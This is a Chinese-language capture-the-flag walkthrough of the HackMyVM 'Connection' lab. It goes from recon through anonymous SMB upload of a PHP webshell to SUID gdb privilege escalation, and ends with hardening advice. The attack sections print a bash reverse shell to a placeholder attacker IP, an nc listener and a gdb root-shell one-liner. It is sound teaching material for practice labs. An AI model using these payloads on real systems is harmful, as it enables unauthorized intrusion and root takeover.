hackmyvm系列6——connection
字数 986 2025-08-12 11:34:24

HackMyVM系列6——Connection靶场实战教学文档

一、靶场概述

本靶场名称为"Connection",是HackMyVM系列的第6个靶机。通过SMB服务漏洞获取初始访问权限,再利用GDB的SUID特性进行权限提升。

二、信息收集阶段

1. 网络扫描

使用netdiscover发现目标IP:

netdiscover -r 192.168.56.0/24

2. 端口扫描与服务识别

使用Nmap进行详细扫描:

nmap -sV -Pn -sC 192.168.56.151

扫描结果:

  • 开放端口:
    • 22/tcp - SSH
    • 80/tcp - HTTP
    • 445/tcp - SMB

3. 目录扫描

使用Gobuster进行目录爆破:

gobuster dir -u http://192.168.56.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html

4. SMB服务探测

检查SMB共享:

smbclient -L 192.168.56.151

发现share共享允许匿名访问。

三、初始访问获取

1. 访问SMB共享

连接SMB共享:

smbclient \\\\192.168.56.151\\share

2. 文件上传测试

发现可以上传文件到SMB共享,测试是否同步到Web目录:

put shell.php

验证文件是否可通过Web访问:

http://192.168.56.151/shell.php

3. 获取Webshell

上传PHP反向shell代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'"); ?>

在攻击机监听:

nc -lvnp 端口

四、权限提升

1. 稳定shell获取

获取基本shell后,升级为稳定TTY:

python3 -c "import pty;pty.spawn('/bin/bash');"

2. SUID文件查找

查找具有SUID权限的文件:

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/gdb具有SUID权限。

3. 利用GDB提权

使用GDB进行提权:

./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

解释:

  • -nx:不加载任何初始化文件
  • -ex:执行GDB命令
  • 通过Python代码调用os.execl生成一个具有root权限的shell

五、关键点总结

  1. SMB匿名访问:靶机SMB服务配置不当,允许匿名用户上传文件
  2. 文件上传漏洞:SMB上传的文件同步到Web目录,导致Webshell上传
  3. GDB SUID提权:GDB被配置为SUID,可利用其执行任意命令获取root权限

六、防御建议

  1. SMB服务安全配置

    • 禁用匿名访问
    • 设置适当权限
    • 启用SMB签名
  2. Web目录权限控制

    • Web目录不应允许SMB写入
    • 设置严格的目录权限
  3. SUID管理

    • 定期审查SUID文件
    • 移除不必要的SUID权限
    • 特别是调试工具如GDB不应设置SUID
  4. 系统加固

    • 定期更新系统
    • 最小化安装原则
    • 启用SELinux/AppArmor等安全模块

七、扩展思考

  1. 如果SMB不允许匿名访问,还可以尝试哪些攻击路径?
  2. 除了GDB,还有哪些SUID程序常被用于提权?
  3. 如何检测系统是否存在类似的配置问题?
HackMyVM系列6——Connection靶场实战教学文档 一、靶场概述 本靶场名称为"Connection",是HackMyVM系列的第6个靶机。通过SMB服务漏洞获取初始访问权限,再利用GDB的SUID特性进行权限提升。 二、信息收集阶段 1. 网络扫描 使用 netdiscover 发现目标IP: 2. 端口扫描与服务识别 使用Nmap进行详细扫描: 扫描结果: 开放端口: 22/tcp - SSH 80/tcp - HTTP 445/tcp - SMB 3. 目录扫描 使用Gobuster进行目录爆破: 4. SMB服务探测 检查SMB共享: 发现 share 共享允许匿名访问。 三、初始访问获取 1. 访问SMB共享 连接SMB共享: 2. 文件上传测试 发现可以上传文件到SMB共享,测试是否同步到Web目录: 验证文件是否可通过Web访问: 3. 获取Webshell 上传PHP反向shell代码: 在攻击机监听: 四、权限提升 1. 稳定shell获取 获取基本shell后,升级为稳定TTY: 2. SUID文件查找 查找具有SUID权限的文件: 发现 /usr/bin/gdb 具有SUID权限。 3. 利用GDB提权 使用GDB进行提权: 解释: -nx :不加载任何初始化文件 -ex :执行GDB命令 通过Python代码调用 os.execl 生成一个具有root权限的shell 五、关键点总结 SMB匿名访问 :靶机SMB服务配置不当,允许匿名用户上传文件 文件上传漏洞 :SMB上传的文件同步到Web目录,导致Webshell上传 GDB SUID提权 :GDB被配置为SUID,可利用其执行任意命令获取root权限 六、防御建议 SMB服务安全配置 : 禁用匿名访问 设置适当权限 启用SMB签名 Web目录权限控制 : Web目录不应允许SMB写入 设置严格的目录权限 SUID管理 : 定期审查SUID文件 移除不必要的SUID权限 特别是调试工具如GDB不应设置SUID 系统加固 : 定期更新系统 最小化安装原则 启用SELinux/AppArmor等安全模块 七、扩展思考 如果SMB不允许匿名访问,还可以尝试哪些攻击路径? 除了GDB,还有哪些SUID程序常被用于提权? 如何检测系统是否存在类似的配置问题?